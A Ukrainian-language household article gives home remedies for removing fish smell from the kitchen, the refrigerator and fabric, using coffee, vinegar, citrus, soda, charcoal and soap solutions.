Якщо треба позбутися запаху після закінчення готування, один із найдієвіших способів – прожарити на сковороді зерна або щіпку меленої натуральної кави. Цей аромат здатний усунути найсильніший і найстійкіший неприємний запах.

Також для вирішення цієї специфічної проблеми можна використати і звичайний оцет. Якщо ви додасте пару столових ложок в невелику ємність з водою і прокип'ятіть, пари оцтової води нейтралізують неприємний запах.

Якщо у вас вдома під рукою є цитрусові (апельсин, мандарин, лимон тощо), сміливо використовуйте їхню цедру. Аромат ефірних олій, що містяться в цедрі, поглинає неприємні запахи, не змішуючись з ними, та наповнює приміщення свіжістю. Ще він піднімає настрій та знімає депресію. Чудовий спосіб!

Як видалити запах риби з холодильника?

Дух риби здатний надовго залишатись у місцях її зберігання. Що робити, якщо ваш холодильник вже «пахощить»? Насамперед, закатайте рукави і вимийте його слабким розчином оцту чи нашатирного спирту. Для приготування оцтового розчину змішайте в рівних частинах оцет та воду. Нашатирний спирт додавайте у воду, виходячи із співвідношення 1:10 (наприклад, 30 мл спирту на 300 мл води). Не робіть розчин міцним, щоб не пошкодити пластик та гумові деталі. Можна протерти холодильник та соком лимона. Це має допомогти прибрати рибний запах із холодильника.

Помічниками у боротьбі зі сморідом можуть бути і найзвичніші нам на кухні кошти.

Чудово поглинає запах риби у холодильнику звичайна сода. Просто поставте на полицю відкриту пачку, і проблему буде вирішено. За таким же принципом працюють:

активоване вугілля. Для кращого ефекту необхідно потовкти приблизно 40 таблеток вугілля і покласти на блюдце;
чайні листи (можна використовувати і пакетований чай);
скоринки житнього хліба;
часточки лимона чи сирої картоплі;
рис (як сирий, так попередньо відварений);
кава (мелена або в зернах).

Також сьогодні у відділах побутової хімії можна купити спеціально розроблені поглиначі запахів та різні очищувачі.

Використовуйте вищезазначені способи і ваш холодильник ніколи не відлякуватиме домочадців поганими запахами.

Як усунути запах риби з тканини?

Трапляється, що рибним духом просочується ваш одяг, рушники або скатертини. Можливо, ви випадково посадили на них пляму від рибної страви. Неприємно, але можна виправити. Пратимемо! Але прати правильно. Кошти для звичайного прання часто не можуть ефективно впоратися з поставленим завданням. Ми знаємо кілька секретів.

Тканина зі свіжою плямою краще негайно замочити у спеціальному розчині. Приготуйте мильну стружку з мила темного кольору, натерши його на великій тертці. Розчиніть стружку в окропі та додайте у воду для замочування.

Можна зробити оцтову воду (приблизно 2 ст. ложки на 5 літрів води) або лимонну. Залишіть тканину відмокати хвилин на 40 і випрати звичайним способом з додаванням до порошку соди або лимонного соку.

Можна змочити пляму від риби якісним засобом миття посуду. Через деякий час випрати руками.

Ніхто не забороняє користуватися старим способом і прокип'ятити тканину в розчині господарського мила. Приготуйте стружку вказаним вище способом, додайте в ємність з водою і на вогонь. Кип'ятити тканину доведеться приблизно 40 хвилин. Після цього треба як слід прополоскати одяг у великому обсязі чистої води.

Вищезазначені способи дозволять видалити запах риби з одягу із щільних тканин. Якщо ж ви плануєте відіпрати запах риби з одягу з тонкої, делікатної тканини, краще не експериментуйте, і відправте одяг у хімчистку.

Коли прання чи чищення з якихось причин відкладається, оберніть одяг газетами чи папером. Не використовуйте газети з білої тканини! Папір поглине частину рибного запаху, і ймовірність повністю позбутися його при пранні чи чищенні збільшиться.

Способів усунути неприємний запах риби багато. Підберіть найбільш влаштовуючий, і насолоджуйтесь неповторним смаком страв з риби.